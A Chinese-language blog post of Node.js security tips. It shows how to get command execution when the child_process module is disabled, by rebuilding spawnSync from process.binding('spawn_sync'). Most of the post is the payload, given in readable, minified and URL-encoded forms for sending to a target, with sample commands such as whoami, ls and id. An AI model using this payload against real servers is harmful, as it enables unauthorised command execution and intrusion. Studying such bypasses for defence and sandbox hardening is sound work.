本文内容:

Node.js安全的一些小Tips

RCE

child_process被过滤

如果无法通过child_process来执行我们的命令(比如child_process模块被disable

如果process模块没有被移出,那么可以用来执行我们的命令

代码来自于child_process的源码,只需要删除没有调用的函数以及提取出接口即可

https://github.com/nodejs/node/blob/master/lib/child_process.js

// Source: https://github.com/nodejs/node/blob/master/lib/child_process.js
// Defines spawn_sync and normalizeSpawnArguments (without error handling). These are internal variables.
spawn_sync = process.binding('spawn_sync');
normalizeSpawnArguments = function (c, b, a) {
if (Array.isArray(b) ? b = b.slice(0) : (a = b, b = []), a === undefined && (a = {}), a = Object.assign({},
a), a.shell) {
const g = [c].concat(b).join(' ');
typeof a.shell === 'string' ? c = a.shell : c = '/bin/sh',
b = ['-c', g];
}
typeof a.argv0 === 'string' ? b.unshift(a.argv0) : b.unshift(c);
var d = a.env || process.env;
var e = [];
for (var f in d) e.push(f + '=' + d[f]);
return {
file: c,
args: b,
options: a,
envPairs: e
};
}

// Defines spawnSync, the function that will do the actual spawning
spawnSync = function () {
var d = normalizeSpawnArguments.apply(null, arguments);
var a = d.options;
var c;
if (a.file = d.file, a.args = d.args, a.envPairs = d.envPairs, a.stdio = [{
type: 'pipe',
readable: !0,
writable: !1
},
{
type: 'pipe',
readable: !1,
writable: !0
},
{
type: 'pipe',
readable: !1,
writable: !0
}], a.input) {
var g = a.stdio[0] = util._extend({},
a.stdio[0]);
g.input = a.input;
}
for (c = 0; c < a.stdio.length; c++) {
var e = a.stdio[c] && a.stdio[c].input;
if (e != null) {
var f = a.stdio[c] = util._extend({},
a.stdio[c]);
isUint8Array(e) ? f.input = e : f.input = Buffer.from(e, a.encoding);
}
}
console.log(a);
var b = spawn_sync.spawn(a);
if (b.output && a.encoding && a.encoding !== 'buffer') for (c = 0; c < b.output.length; c++) {
if (!b.output[c]) continue;
b.output[c] = b.output[c].toString(a.encoding);
}
return b.stdout = b.output && b.output[1],
b.stderr = b.output && b.output[2],
b.error && (b.error = b.error + 'spawnSync ' + d.file, b.error.path = d.file, b.error.spawnargs = d.args.slice(1)),
b;
}

spawnSync('/usr/bin/whoami')

不过直接调用会返回的stdoutBuffer类,需要采用toString()来转换成ascii字符

image-20200916172918629

image-20200916171511079

它调用了默认的process内置模块,所以可以无需载入第三方模块即可直接触发

如果需要使用的话,需要压缩一下然后urlencode一下然后发送过去

/*压缩后代码*/
spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}
spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}
spawnSync('ls')['stdout'].toString();

/*urlencode*/
spawn_sync%20%3D%20process.binding('spawn_sync')%3B%20normalizeSpawnArguments%20%3D%20function(c%2Cb%2Ca)%7Bif(Array.isArray(b)%3Fb%3Db.slice(0)%3A(a%3Db%2Cb%3D%5B%5D)%2Ca%3D%3D%3Dundefined%26%26(a%3D%7B%7D)%2Ca%3DObject.assign(%7B%7D%2Ca)%2Ca.shell)%7Bconst%20g%3D%5Bc%5D.concat(b).join('%20')%3Btypeof%20a.shell%3D%3D%3D'string'%3Fc%3Da.shell%3Ac%3D'%2Fbin%2Fsh'%2Cb%3D%5B'-c'%2Cg%5D%3B%7Dtypeof%20a.argv0%3D%3D%3D'string'%3Fb.unshift(a.argv0)%3Ab.unshift(c)%3Bvar%20d%3Da.env%7C%7Cprocess.env%3Bvar%20e%3D%5B%5D%3Bfor(var%20f%20in%20d)e.push(f%2B'%3D'%2Bd%5Bf%5D)%3Breturn%7Bfile%3Ac%2Cargs%3Ab%2Coptions%3Aa%2CenvPairs%3Ae%7D%3B%7D%0AspawnSync%20%3D%20function()%7Bvar%20d%3DnormalizeSpawnArguments.apply(null%2Carguments)%3Bvar%20a%3Dd.options%3Bvar%20c%3Bif(a.file%3Dd.file%2Ca.args%3Dd.args%2Ca.envPairs%3Dd.envPairs%2Ca.stdio%3D%5B%7Btype%3A'pipe'%2Creadable%3A!0%2Cwritable%3A!1%7D%2C%7Btype%3A'pipe'%2Creadable%3A!1%2Cwritable%3A!0%7D%2C%7Btype%3A'pipe'%2Creadable%3A!1%2Cwritable%3A!0%7D%5D%2Ca.input)%7Bvar%20g%3Da.stdio%5B0%5D%3Dutil._extend(%7B%7D%2Ca.stdio%5B0%5D)%3Bg.input%3Da.input%3B%7Dfor(c%3D0%3Bc%3Ca.stdio.length%3Bc%2B%2B)%7Bvar%20e%3Da.stdio%5Bc%5D%26%26a.stdio%5Bc%5D.input%3Bif(e!%3Dnull)%7Bvar%20f%3Da.stdio%5Bc%5D%3Dutil._extend(%7B%7D%2Ca.stdio%5Bc%5D)%3BisUint8Array(e)%3Ff.input%3De%3Af.input%3DBuffer.from(e%2Ca.encoding)%3B%7D%7Dconsole.log(a)%3Bvar%20b%3Dspawn_sync.spawn(a)%3Bif(b.output%26%26a.encoding%26%26a.encoding!%3D%3D'buffer')for(c%3D0%3Bc%3Cb.output.length%3Bc%2B%2B)%7Bif(!b.output%5Bc%5D)continue%3Bb.output%5Bc%5D%3Db.output%5Bc%5D.toString(a.encoding)%3B%7Dreturn%20b.stdout%3Db.output%26%26b.output%5B1%5D%2Cb.stderr%3Db.output%26%26b.output%5B2%5D%2Cb.error%26%26(b.error%3D%20b.error%20%2B%20'spawnSync%20'%2Bd.file%2Cb.error.path%3Dd.file%2Cb.error.spawnargs%3Dd.args.slice(1))%2Cb%3B%7D%0AspawnSync('id')%5B'stdout'%5D.toString()%3B

image-20201115152502187